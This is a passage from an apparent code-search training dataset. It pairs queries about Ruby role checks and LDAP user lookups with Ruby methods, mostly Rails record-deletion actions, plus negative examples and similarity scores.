destroyed!\"\n\n redirect_to browse_path(@parent_collection) \n else\n flash[:success] = \"link destroyed!\"\n redirect_to :back\n end\nend", "def drop_collection(name)\n return false if strict? && !collection_names.include?(name.to_s)\n begin\n ok?(command(:drop => name))\n rescue OperationFailure => e\n false\n end\n end", "def destroy\n @users_collection.destroy\n respond_to do |format|\n format.html { redirect_to users_collections_url }\n format.json { head :no_content }\n end\n end", "def handle_destroy\n if !self.is_straightforward\n\n\n self.to_remove_array = []\n user = self.collection.user\n # user.default_collections = user.collections.includes(:games).limit(3)\n #Check if the target collection is in the user's defaults\n if user.default_collections.include?(self.collection)\n user.collections.each do |collection|\n if collection.id != self.collection_id &&\n collection.games.include?(self.game)\n CollectionGame.find_by(\n collection_id: collection.id,\n game_id: self.game.id).destroy\n collection.save\n self.to_remove_array.push(collection.id)\n break\n end\n end\n review = Review.find_by(user_id: user.id, game_id: self.game.id)\n if review\n review.destroy\n self.removeReviewId = review.id\n end\n end\n end\n end", "def destroy\n @collection.destroy\n\n render json: @collection, status: :ok#, location: @collection\n end", "def destroy\n @image_collection.destroy\n respond_to do |format|\n format.html { redirect_to image_collections_url, notice: 'Image collection was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def removeCollection(collection)\n collection.drop\n end", "def destroy\n @collection = @document.collection\n @document.destroy\n @collection.update_annotation_count\n respond_to do |format|\n format.html { redirect_back fallback_location: collection_documents_path(@collection), notice: 'The document was successfully removed.' }\n format.json { head :no_content }\n end\n end", "def remove_child_collection(name)\n return @coll_man_service.remove_collection(name)\n end", "def destroy\n @tx_land_grants_special_collection.destroy\n respond_to do |format|\n format.html { redirect_to tx_land_grants_special_collections_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @collection_group.destroy\n respond_to do |format|\n format.html { redirect_to collection_groups_url }\n format.json { head :no_content }\n end\n end", "def delete(collection)\n @log.debug(\"Delete called with: #{collection.inspect}\")\n deleted = 0\n model = collection.first.model\n class_name = class_name(model)\n all_url = build_all_url(class_name)\n page = @agent.get(all_url) \n @log.debug(\"Page was #{page.inspect}\")\n records = parse_collection(page, model)\n \n collection.each do |resource|\n begin\n id = model.serial.get(resource)\n delete_link = build_delete_link(class_name, id)\n @log.debug(\"Delete link is #{delete_link}\")\n #actual_delete_link = page.link_with(:href => delete_link, :text => 'Destroy')\n # No can do Javascript prompts, so...\n response = @agent.delete(delete_link)\n @log.debug(\"Result of actual delete call is #{response.code}\")\n if response.code.to_i == 302\n deleted += 1\n else\n @log.error(\"Failure while deleting #{response.inspect}\")\n end\n rescue => e\n @log.error(\"Failure while deleting #{e.inspect}\")\n end\n end\n\n deleted\n end", "def destroy\n @audio_collection.destroy\n respond_to do |format|\n format.html { redirect_to audio_collections_url, notice: 'Audio collection was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @audio_collection.destroy\n respond_to do |format|\n format.html { redirect_to audio_collections_url, notice: 'Audio collection was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete_folder\n @sub_shared_folders,@sub_shared_folders_collection,@sub_shared_docs,@sub_shared_docs_collection,sub_shared_docs = [],[],[],[],[]\n action_type = \"deleted\"\n find_portfolio_and_folder\n cur_folder_parent_id = @folder.parent_id\n files_and_docs_of_folder(@folder.id,true,false)\n find_sub_shared_docs\n send_mail_while_deleting_document(action_type)\n send_mail_while_deleting_folder(action_type)\n delete_files_and_docs_of_folder(@folder.id,true)\n Event.create_new_event(\"permanent_delete\",current_user.id,nil,[@folder],current_user.user_role(current_user.id),@folder.name,nil)\n @folder.real_estate_property.destroy if @folder.real_estate_property_id !=nil && @folder.parent_id ==0\n @folder.destroy\n assign_params(\"asset_data_and_documents\",\"show_asset_files\" )\n @msg = \"#{@folder.name} successfully deleted\"\n update_page_after_deletion\n @folder = Folder.find(@folder.parent_id) if @folder.parent_id !=0 && @folder.parent_id != -2\n end", "def delete(collection)\n query = collection.query\n\n # TODO: if the query contains any links, a limit or an offset\n # use a subselect to get the rows to be deleted\n\n statement, bind_values = delete_statement(query)\n execute(statement, *bind_values).to_i\n end", "def destroy\n @relassigncollection.destroy\n respond_to do |format|\n format.html { redirect_to relassigncollections_url, notice: 'Relassigncollection was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n self.run_hook :before_destroy\n result = Driver.client[self.class.coll_name].find({'_id' => self._id}).delete_one\n self.run_hook :after_destroy\n\n result ? true : false\n end", "def remove_collection\n source, collection = get_source_and_collection\n collection.updatable_by?(current_user) || raise(Hobo::PermissionDeniedError, \"#{self.class.name}#assign_collection\")\n collection.real_source.delete(source)\n collection.save!\n end", "def destroy\n @brmcollection.destroy\n respond_to do |format|\n format.html { redirect_to brmcollections_url, notice: 'Brmcollection was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n collection = Collection.find(params.require(:id))\n\n collection.destroy\n\n respond_with collection, location: ''\n end", "def delete_account_collection_with_http_info(collection_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ManagementApi.delete_account_collection ...'\n end\n # verify the required parameter 'collection_id' is set\n if @api_client.config.client_side_validation && collection_id.nil?\n fail ArgumentError, \"Missing the required parameter 'collection_id' when calling ManagementApi.delete_account_collection\"\n end\n # resource path\n local_var_path = '/v1/collections/{collectionId}'.sub('{' + 'collectionId' + '}', CGI.escape(collection_id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] \n\n # auth_names\n auth_names = opts[:auth_names] || ['management_key', 'manager_auth']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:DELETE, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ManagementApi#delete_account_collection\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def destroy\n @collection = Collection.find(params[:id])\n authorize! :destroy, @collection\n\n collectifies = Collectify.where(:collection_id=>@collection)\n collectifies.each do |collectify|\n PublicActivity::Activity.where(\"trackable_type = ? AND trackable_id = ?\", \"Collectify\", collectify.id).destroy_all \n end\n\n PublicActivity::Activity.where(\"trackable_type = ? AND trackable_id = ?\", \"Collection\", @collection.id).destroy_all\n\n @collection.destroy\n\n respond_to do |format|\n format.html { redirect_to user_path(current_user.username) }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:user_id])\n @collection = Collection.find(params[:id])\n @collection.destroy\n \n\n respond_to do |format|\n format.html { redirect_to @user }\n format.json { head :no_content }\n end\n end", "def destroy\n @book_collection.destroy\n respond_to do |format|\n format.html { redirect_to book_collections_url, notice: \"Book collection was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @rent_collection.destroy\n respond_to do |format|\n format.html { redirect_to dashboard_rent_collections_url, notice: 'Rent collection was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def remove_from_collection(parentCollectionIDs)\n parentCollectionIDs.each do |id|\n c = CwrcCollection.find(id.strip)\n \n self.remove_relationship(:is_member_of_collection, c)\n \n c.remove_relationship(:has_collection_member, self)\n c.save\n end\n self.save\n end", "def delete_collection_with_http_info(application_id, campaign_id, collection_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ManagementApi.delete_collection ...'\n end\n # verify the required parameter 'application_id' is set\n if @api_client.config.client_side_validation && application_id.nil?\n fail ArgumentError, \"Missing the required parameter 'application_id' when calling ManagementApi.delete_collection\"\n end\n # verify the required parameter 'campaign_id' is set\n if @api_client.config.client_side_validation && campaign_id.nil?\n fail ArgumentError, \"Missing the required parameter 'campaign_id' when calling ManagementApi.delete_collection\"\n end\n # verify the required parameter 'collection_id' is set\n if @api_client.config.client_side_validation && collection_id.nil?\n fail ArgumentError, \"Missing the required parameter 'collection_id' when calling ManagementApi.delete_collection\"\n end\n # resource path\n local_var_path = '/v1/applications/{applicationId}/campaigns/{campaignId}/collections/{collectionId}'.sub('{' + 'applicationId' + '}', CGI.escape(application_id.to_s)).sub('{' + 'campaignId' + '}', CGI.escape(campaign_id.to_s)).sub('{' + 'collectionId' + '}', CGI.escape(collection_id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] \n\n # auth_names\n auth_names = opts[:auth_names] || ['management_key', 'manager_auth']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:DELETE, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ManagementApi#delete_collection\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def destroy\n @jewelrycollection.destroy\n respond_to do |format|\n format.html { redirect_to jewelrycollections_url, notice: 'Jewelrycollection was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n collection = Collection.find(@mlog_entry[:collection_id])\n @mlog_entry.destroy\n respond_to do |format|\n format.html { redirect_to collection}\n format.json { head :no_content }\n end\n end", "def destroy\n @tweet_collection.destroy\n respond_to do |format|\n format.html { redirect_to tweet_collections_url, notice: 'Tweet collection was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n temp = @folder_client.destroy(get_id, force)\n if temp[:status]\n flash_message(:notice,\"#{t('folder.folder')} #{t('succesfully_destroyed')}\")\n redirect_to folders_path\n else\n if temp[:code] == 403\n @id = get_id\n @message = temp[:response]['message']\n else\n flash_message(:error, temp[:response]['message'])\n redirect_to root_path\n end\n\n end\n @success = temp[:status]\n end", "def delete(collection, key)\n @data[collection].delete(key)\n end", "def destroy\n @collection = current_user.collections.find(params[:collection_id]) \n @recommender = @collection.recommenders.find(params[:id])\n @recommender.destroy\n\n respond_to do |format|\n format.html { redirect_to collection_recommenders_path(@collection) }\n format.json { head :no_content }\n end\n end", "def delete(id)\n collection.remove(id)\n end", "def destroy\n @collection_post.destroy\n respond_to do |format|\n format.html { redirect_to collection_posts_url, notice: 'Collection post was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @collection = current_user.collections.find(params[:collection_id])\n @entity_type = @collection.entity_types.find(params[:id])\n @entity_type.destroy\n logger.debug(@entity_type.errors.inspect)\n respond_to do |format|\n if @entity_type.errors.size == 0\n format.html { redirect_to collection_entity_types_path(@collection)}\n format.json { head :no_content }\n else\n format.html { redirect_to collection_entity_types_path(@collection), alert: \"Cannot be destroyed: #{@entity_type.errors[:base].to_s}\"}\n format.json { head :no_content }\n end\n end\n end", "def delete(collection, entity)\n command(collection).delete(entity)\n end", "def destroy\n @cash_collection.destroy\n respond_to do |format|\n format.html { redirect_to cash_collections_url, notice: 'Cash collection was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @special_collection_request.destroy\n respond_to do |format|\n format.html { redirect_to special_collection_requests_url, notice: 'Special collection request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def remove_from_all_dil_collections\r\n self.collections.each do |collection|\r\n collection.members.remove_member_by_pid( self.pid )\r\n collection.save\r\n self.collections.delete(collection)\r\n end\r\n end", "def destroy\n @collection = @entity_type.collection\n @entity_type.destroy\n respond_to do |format|\n format.html { redirect_to collection_entity_types_path(@collection), notice: 'The entity type was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "def delete force: false\n ensure_connection!\n docs_to_be_removed = documents view: \"ID_ONLY\"\n return if docs_to_be_removed.empty?\n unless force\n fail \"Unable to delete because documents exist. Use force option.\"\n end\n while docs_to_be_removed\n docs_to_be_removed.each { |d| remove d }\n if docs_to_be_removed.next?\n docs_to_be_removed = documents token: docs_to_be_removed.token,\n view: \"ID_ONLY\"\n else\n docs_to_be_removed = nil\n end\n end\n end", "def delete_item\n item_id = params[\"item_id\"]\n\n item = TextItem.find_by_id(item_id)\n item = Image.find_by_id(item_id) if item.nil?\n item = Collection.find_by_id(item_id) if item.nil?\n render_json :status => :not_found, :messages => \"Could not find the item with id #{item_id}.\" and return if item.nil?\n\n if item.class == Collection\n if params[\"id\"].nil?\n render_json :status => :bad_request, :messages => \"Can't delete a collection reference without providing the parent collection id. Please use the longer url for item deletion.\" and return\n end\n collection = Collection.find_by_id(params[\"id\"])\n else\n collection = Ownership.find_by_item_id(item_id).parent\n end\n;\n render_json :status => :not_found, :messages => \"Could not find parent collection for the item.\" and return if (collection.nil?)\n render_json :status => :forbidden, :messages => \"The user is not allowed to delete from this collection.\" and return if (!collection.delete?(@user, @client))\n\n collection.delete_item(item_id)\n render_json :entry => {} and return\n end", "def remove\n server = read.select_servers(cluster.servers).first\n Operation::Write::Delete.new(\n :deletes => [{ q: selector, limit: opts[:limit] || 0 }],\n :db_name => collection.database.name,\n :coll_name => collection.name,\n :write_concern => collection.write_concern\n ).execute(server.context)\n end" ]
[ "0.73592085", "0.69988066", "0.69964576", "0.6858313", "0.67533046", "0.66805375", "0.66802", "0.6675966", "0.6670827", "0.66524595", "0.66155547", "0.66000646", "0.6556761", "0.65530217", "0.65399396", "0.6497576", "0.64952755", "0.6493844", "0.64815086", "0.6432266", "0.64241076", "0.64156973", "0.6412746", "0.6382513", "0.6382513", "0.6382513", "0.6382513", "0.6380074", "0.6370791", "0.6369953", "0.63504034", "0.6325354", "0.63225645", "0.63218045", "0.6283535", "0.6277863", "0.6277863", "0.6277863", "0.6273235", "0.62654585", "0.62264615", "0.62190515", "0.62150943", "0.6199962", "0.6193585", "0.6188222", "0.617081", "0.6166486", "0.61456466", "0.61399627", "0.61373985", "0.61268103", "0.6121717", "0.61077785", "0.608641", "0.6057089", "0.60521954", "0.6048878", "0.60465276", "0.60376316", "0.6034644", "0.6033985", "0.59818625", "0.5951283", "0.594022", "0.5939301", "0.5925148", "0.59093875", "0.59084046", "0.59084046", "0.58818275", "0.5854399", "0.58356076", "0.58064336", "0.58045375", "0.579992", "0.57912344", "0.5790307", "0.5788221", "0.57859164", "0.575878", "0.57510585", "0.57276165", "0.5716734", "0.5710651", "0.5710354", "0.57102937", "0.56947964", "0.56930184", "0.5692098", "0.5689147", "0.56703436", "0.5667247", "0.5655614", "0.5645", "0.5638773", "0.5636758", "0.5634295", "0.56326807", "0.562694", "0.5623079" ]
0.0
-1
FIXME: these role methods should probably be refactored
def exec?(roles = [:contest_director, :psa_director]) roles = [roles] unless roles.kind_of? Array result = self.admin? if result true else roles.each do |role| result ||= self.has_role?(role) end end return result end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def role; end", "def role; end", "def private; end", "def probers; end", "def rest_positionals; end", "def suivre; end", "def who_we_are\r\n end", "def anchored; end", "def operations; end", "def operations; end", "def aria_role; end", "def add_role\n person\n end", "def role?(role_name)\n role == role_name\n \n end", "def authorization; end", "def relatorios\n end", "def role_symbols\n # Think trice before changing this!\n [:soker]\n end", "def schubert; end", "def method_missing_with_aegis_permissions(symb, *args)\r\n method_name = symb.to_s\r\n if method_name =~ /^may_(.+?)_(in|for)[\\!\\?]$/\r\n role_in(args.first).send(method_name, self, *args)\r\n elsif method_name =~ /^may_(.+?)[\\!\\?]$/\r\n role.send(symb, self, *args)\r\n elsif method_name =~ /^(.*?)\\?$/ && queried_role = ::Permissions.find_role_by_name($1)\r\n role == queried_role\r\n else\r\n method_missing_without_aegis_permissions(symb, *args)\r\n end\r\n end", "def role?(role_name)\n Mapr.role? node, role_name\nend", "def role\n return self.position.name\n end", "def methods() end", "def specie; end", "def specie; end", "def specie; end", "def specie; end", "def setup_role role_kind:, role:\n role_info = extract_role_attrs role: role\n role_name = role_info[:role_name]\n version = role_info[:version]\n created_at = role_info[:created_at]\n is_default = role_info[:is_default]\n is_composite = role_info[:is_composite]\n is_aggregable = role_info[:is_aggregable]\n aggregable_by = role_info[:aggregable_by]\n\n info \"-- Indexing [#{role_kind}] #{role_name}\"\n\n cache_aggregable_roles aggregable_by: aggregable_by, role_kind: role_kind, role_name: role_name\n\n namespace = role_kind == :Role ? role['metadata']['namespace'] : Krane::Rbac::Graph::Builder::ALL_NAMESPACES_PLACEHOLDER\n\n # caching role namespace scope\n @role_ns_lookup[role_name] = namespace if role_kind == :Role \n\n entry = {\n role_kind: role_kind,\n role_name: role_name\n }\n \n @defined_roles << entry # caching role as defined\n @default_roles << entry if is_default # cache default roles\n\n node :namespace, { name: namespace }\n node :role, { \n kind: role_kind, \n name: role_name, \n is_default: is_default, \n is_composite: is_composite,\n is_aggregable: is_aggregable, \n aggregable_by: aggregable_by.join(', '),\n version: version,\n created_at: created_at \n }\n edge :scope, { \n role_kind: role_kind, \n role_name: role_name, \n namespace: namespace \n }\n\n return if role_info[:rules].blank?\n\n # Iterating the Rules\n role_info[:rules].map {|rule| process_rule rule }.flatten.each do |rule|\n node :rule, { rule: rule }\n edge :grant, {\n role_kind: role_kind,\n role_name: role_name,\n rule: rule\n }\n edge :security, { rule: rule }\n end\n end", "def intensifier; end", "def setup_role\n #get_statuses(@role)\n #set_default_status(@role)\n end", "def get_role\n\t\tself.role\n\tend", "def required_positionals; end", "def accessibility; end", "def methods; end", "def methods; end", "def methods; end", "def methods; end", "def filter_access!\n treat_as get_current_role\n end", "def implementation; end", "def implementation; end", "def policy; end", "def strategy; end", "def role\n # get all the employee's role\n # binding.pry\n Role.all.select{|role| role.employee == self}\n end", "def get_role(the_role)\n self.roles.where(user_id:self.id,roleable_type:the_role).first\n end", "def display_role(element)\n # Interface method\n end", "def accept_role role\n self.roles.push role\n end", "def modifier; end", "def requirements; end", "def requirements; end", "def requirements; end", "def requirements; end", "def role?(base_role)\n role == base_role.to_s\nend", "def have_role? role\r\n self.roles ||= []\r\n my_holes = self.roles.collect {|r| r.name.to_s }\r\n my_holes.include? role.to_s\r\n end", "def specialty; end", "def romeo_and_juliet; end", "def checkRole(text, index)\n results = []\n nlp = annotate(text)\n people = nlp[\"people\"]\n people.each_pair do |label, roles | \n roles.each { |r| results << MARC::DataField.new('902', '', ' ', ['a', r], ['b', roleCode(r)], ['c', label ], [\"e\", '245c']) }\n end\n puts text\n puts results\n return results.compact \n end", "def setup_role \n if self.role_ids.empty? \n self.role_ids = [Role.find_by_name(\"User\").id] \n end\n end", "def scientist; end", "def authorization(*args, &block); end", "def test_role_features\n\n # get members of role with guid 4\n get '/role/3/members'\n assert (last_response.status == 200), \"Get all members of role id 3: response is not 200\"\n\n # get available role attributes\n get '/role/attributes'\n assert (last_response.body.size > 50), \"Get available role attributes: response to small for valid data\"\n\n # get all roles\n get '/role'\n assert (last_response.body.size > 50), \"Get all roles: response to small for valid data\"\n\n # get role with guid \"3\"\n get '/role/3'\n assert (last_response.body.size > 50), \"Get role with id 3: response to small for valid data\"\n end", "def role?(role)\n self.role&.name == role\n end", "def pass_on_roles\n r = self.roles.to_a\n if self.has_access?(:superadmin)\n r = Role.get(Access.roles(:all_users)).to_a\n elsif self.has_access?(:admin)\n r = Role.get(Access.roles(:admin_roles)).to_a\n elsif self.has_access?(:centeradm)\n r = Role.get(Access.roles(:center_users)).to_a\n end\n return (r.is_a?(Array) ? r : [r])\n end", "def starship; end", "def roles_with_permission\n shift.location.loc_group.roles\n end", "def add_role( xml, person, role )\n\n if user_role_exists?(xml, role)\n puts \"Would not add role to \" + person[:netids][0] + ' (' + person[:uin] + '), role already exists ' + role.to_s\n\n else\n puts \"Adding role, \" + role.to_s + \" to \" + person[:netids][0] + ' (' + person[:uin] + ')'\n role_node = xml.create_element( 'user_role' )\n\n role_node.add_child( xml.create_element 'status', 'ACTIVE' )\n role_node.add_child( xml.create_element 'scope', role[:scope] )\n role_node.add_child( xml.create_element 'role_type', role[:id] )\n\n if role[:parameters]\n\n parameters = xml.create_element( 'parameters')\n\n role[:parameters].each do |type,value|\n \n parameter = xml.create_element( 'parameter')\n \n parameter.add_child( xml.create_element 'type', type ) \n parameter.add_child( xml.create_element 'value', value ) \n\n parameters.add_child( parameter )\n \n end\n\n role_node.add_child( parameters )\n end\n\n user_roles = xml.xpath( '/user/user_roles' ).first.add_child( role_node )\n\n \n \n end\nend", "def components_in_roles( qroles )\n ( qroles & roles ).inject([]) { |m,r| m += space.role( r ) }\n end", "def check_permission(event, role)\n case role\n when 'botmaster'\n {\n granted: event.user.id == BOTMASTER_ID,\n allowed: ['botmasters']\n }\n else\n names = Role.owners(role).pluck(:username)\n {\n granted: Role.exists(event.user.id, role),\n allowed: role.pluralize #names\n }\n end\nend", "def traits; end", "def policies; end", "def custom_permissions\n # Limits deleting objects to a the admin user\n #\n # if current_user.admin?\n # can [:destroy], ActiveFedora::Base\n # end\nif current_user.admin?\n\t can [:create, :show, :add_user, :remove_user, :index], Role\n\t end\n # Limits creating new objects to a specific group\n #\n # if user_groups.include? 'special_group'\n # can [:create], ActiveFedora::Base\n # end\n\n\n\n end", "def role_name\n object.role_name\n end", "def celebration; end", "def handle_pal_ids\n handle_admin_role_ids Seek::Roles::PAL\n end", "def handle_pal_ids\n handle_admin_role_ids Seek::Roles::PAL\n end", "def check_role!\n add_role :user if roles.blank?\n if has_role?(:admin)\n add_role :editor unless has_role?(:editor)\n add_role :user unless has_role?(:user)\n end\n end", "def check_user_role \t \n redirect_to root_path unless current_user.roles.first.name == \"empleado\" or current_user.roles.first.name == \"supervisor\"or current_user.roles.first.name == \"admin\" \n end", "def role_selection\n \"#{name}\"\n end", "def superadmin #all admin roles need to include this method.\n role.name == \"admin\"\n end", "def custom; end", "def custom; end", "def arrangers\n find_related_frbr_objects( :is_arranged_by, :which_roles?) \n end", "def permissions = {}", "def is?(rololo)\n role == rololo\n end", "def villian; end", "def initialize(params)\n raise 'No companyid given' unless (params[:companyid] or params[:company])\n raise 'No name given' unless params[:name]\n\n super(params)\n\n # COPY role_ (roleid, companyid, classnameid, classpk, name, description, type_) FROM stdin;\n # +10151\t10109\t0\t0\tRegular role\tThis role is a test\t1\n\n self.classnameid ||= 0\n self.classpk ||= 0\n self.description ||= ''\n # Type: 1 = regular, 2 = community, 3 = organization\n self.type_ ||= 1\n\n self.save\n\n # Resource with code scope 1 is primkey'd to company.\n # Resource with code scope 4 is primkey'd to this role.\n\n # These are created regardless of what type_ is.\n\n # COPY resourcecode (codeid, companyid, name, scope) FROM stdin;\n # +29\t10109\tcom.liferay.portal.model.Role\t1\n # +30\t10109\tcom.liferay.portal.model.Role\t4\n\n [1,4].each do |scope|\n rc = self.resource_code(scope)\n unless rc\n ResourceCode.create(\n Company.primary_key => self.companyid,\n :name => self.liferay_class,\n :scope => scope\n )\n end\n end\n\n # COPY resource_ (resourceid, codeid, primkey) FROM stdin;\n # +33\t29\t10109\n # +34\t30\t10151\n\n self.get_resource(:scope => 1)\n r = self.get_resource(:scope => 4)\n\n # Permissions (given to administrators)\n\n # COPY permission_ (permissionid, companyid, actionid, resourceid) FROM stdin;\n # +70 10109 ASSIGN_MEMBERS 34\n # +71 10109 DEFINE_PERMISSIONS 34\n # +72 10109 DELETE 34\n # +73 10109 MANAGE_ANNOUNCEMENTS 34\n # +74 10109 PERMISSIONS 34\n # +75 10109 UPDATE 34\n # +76 10109 VIEW 34\n\n # COPY users_permissions (userid, permissionid) FROM stdin;\n # +10129\t70\n # +10129\t71\n # +10129\t72\n # +10129\t73\n # +10129\t74\n # +10129\t75\n # +10129\t76\n\n self.class.actions.each do |actionid|\n p = Permission.get(\n :companyid => self.companyid,\n :actionid => actionid,\n :resourceid => r.id\n )\n self.company.administrators.each do |user|\n user.permissions << p\n end\n end\n end", "def role?(role)\n\t self.role.name == role\n end", "def role?\n false\n end", "def pass_on_roles\n r = self.all_roles\n if self.has_access?(:superadmin)\n r = Role.get(Access.roles(:all_users))\n elsif self.has_access?(:admin)\n r = Role.get(Access.roles(:admin_roles))\n elsif self.has_access?(:centeradm)\n r = Role.get(Access.roles(:center_users))\n end\n return (r.is_a?(Array) ? r : [r])\n end", "def pass_on_roles\n r = self.all_roles\n if self.has_access?(:superadmin)\n r = Role.get(Access.roles(:all_users))\n elsif self.has_access?(:admin)\n r = Role.get(Access.roles(:admin_roles))\n elsif self.has_access?(:centeradm)\n r = Role.get(Access.roles(:center_users))\n end\n return (r.is_a?(Array) ? r : [r])\n end", "def AccessRights=(arg0)", "def setup_role\n \tif self.role_ids.empty?\n \t self.role_ids = [3]\n \tend\n end", "def operation; end", "def overrides; end", "def get_role\n\t\tif self.roles[0]\t\n\t\t\tself.roles[0].role_type \n\t\telse\n\t\t\t0\n\t\tend\n\tend", "def accessible_roles\n #@accessible_roles = Role.accessible_by(current_ability,:read)\n @accessible_roles = User::ROLES\n end", "def assign_role\n #self.role = Role.find_by name: '訪客' if self.role.nil?\n self.role = Role.find_by name: 'Guest' if self.role.nil?\n end", "def role_symbols\n [:user]\n end", "def formation; end", "def role\n permission_type\n end", "def role\n @role\n end", "def check_for_role\n self.role = ROLES[:user] if self.role.nil?\n end", "def transact; end", "def check_for_role\n\t\tself.role = ROLES[:user] if !self.role.present?\n\tend" ]
[ "0.68847233", "0.68847233", "0.6684475", "0.57829213", "0.5727909", "0.5688923", "0.56636536", "0.560692", "0.55856204", "0.55856204", "0.5582033", "0.55616385", "0.55368865", "0.5485586", "0.548544", "0.54823923", "0.54789996", "0.54700714", "0.5470066", "0.54683053", "0.54602444", "0.5446061", "0.5446061", "0.5446061", "0.5446061", "0.54433787", "0.54427934", "0.54412985", "0.53884804", "0.5388017", "0.5376179", "0.5370678", "0.5370678", "0.5370678", "0.5370678", "0.5362192", "0.5356091", "0.5356091", "0.5343455", "0.53426176", "0.53392863", "0.5336355", "0.5331627", "0.5326161", "0.53161377", "0.53111386", "0.53111386", "0.53111386", "0.53111386", "0.529533", "0.5284913", "0.52831364", "0.5278777", "0.527666", "0.5263052", "0.5261547", "0.52592826", "0.525673", "0.5255458", "0.52454495", "0.5244559", "0.5237786", "0.5236412", "0.5235979", "0.5234723", "0.5232058", "0.52294266", "0.52278644", "0.5221703", "0.52181673", "0.52178836", "0.52178836", "0.52177364", "0.521766", "0.5211481", "0.52107906", "0.52083385", "0.52083385", "0.5194579", "0.5193862", "0.51888645", "0.51849896", "0.5180917", "0.51790637", "0.51777995", "0.516662", "0.516662", "0.5160401", "0.5157174", "0.5156828", "0.5151326", "0.51508975", "0.51503325", "0.5148679", "0.51464283", "0.51399493", "0.5129225", "0.51289535", "0.5127858", "0.512773", "0.5127215" ]
0.0
-1
LDAP STUFF this one can be deprecated soon since migrations are coming from staff table
def get_ldap_data if Rails.env.production? result = LdapHelper::find_user(self.username) if result self.legacy_id ||= result.try(:employeeNumber).try(:first) self.first_name ||= result.try(:givenName).try(:first) self.last_name ||= result.try(:sn).try(:first) self.display_name ||= result.try(:displayName).try(:first) self.status ||= result.try(:employeeType).try(:first) || "potential" self.email ||= result.try(:mail).try(:first) || "#{username}@fake.me" end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def ldap_version\n super\n end", "def ldap_before_save\n self.email = Devise::LDAP::Adapter.get_ldap_param(self.username, \"mail\").first\n self.encrypted_password = Devise::LDAP::Adapter.get_ldap_param(self.username, \"userPassword\").first\n display_name = Devise::LDAP::Adapter.get_ldap_param(self.username, \"displayName\" )\n if display_name.present?\n display_name = display_name.first.split(' ')\n self.firstname = display_name[1]\n self.lastname = display_name.shift\n end\n end", "def get_ldap_attributes\n attributes = YaleLDAP.lookup(upi: upi.to_s)\n .slice(:first_name, :nickname, :last_name, :upi, :netid,\n :email, :organization, :curriculum, :college_name, :college_abbreviation,\n :class_year, :school, :telephone, :address)\n self.update_attributes(attributes)\n end", "def config_migrate\n\t\t\n\t\tDir.chdir(\"/usr/share/openldap/migration\")\n\t\t#`cd /usr/share/openldap/migration`\n\t\t\n\t\t`slapadd -l /usr/share/openldap/migration/base.ldif`\n\n\t\t# Migrate the passwd file\n\t\t`/usr/share/openldap/migration/migrate_passwd.pl /etc/passwd >/usr/share/openldap/migration/passwd.ldif`\n\t\t`slapadd -l /usr/share/openldap/migration/passwd.ldif`\n\n\t\t# Migrate the group file\n\t\t`/usr/share/openldap/migration/migrate_group.pl /etc/group >/usr/share/openldap/migration/group.ldif`\n\t\t`slapadd -l /usr/share/openldap/migration/group.ldif`\n\n\t\t# Change ownership of files\n\t\t`chown -R ldap.ldap /var/lib/ldap`\n\n\tend", "def all_info\n LdapUser.retrieve_all_information self.login \n end", "def config_client_LDAP\n\t\tldap_conf = File.read('/etc/openldap/ldap.conf')\n\n\t\t# Set the BASE suffix to match the BASE suffix from the slapd conf file\n\t\tldap_conf = ldap_conf.gsub(/#BASE\\tdc=example, dc=com/,\"BASE dc=cit470_Team_4,dc=nku,dc=edu\")\n\n\t\t\n\t\t# Write the ldap.conf file\n\t\tFile.open('/etc/openldap/ldap.conf','w'){|file| file.puts ldap_conf}\n\n\t\t# Configure LDAP ACL to allow password changes\n\n\t\tldap=\"access to attrs=userPassword\\nby self write\\nby anonymous auth\\nby * none\\naccess to *\\nby self write\\nby * read\"\n\t\tFile.open('/etc/openldap/ldap.conf','a') {|file| file.puts ldap}\n\t\t\n\tend", "def ldap_verify_and_update\n return 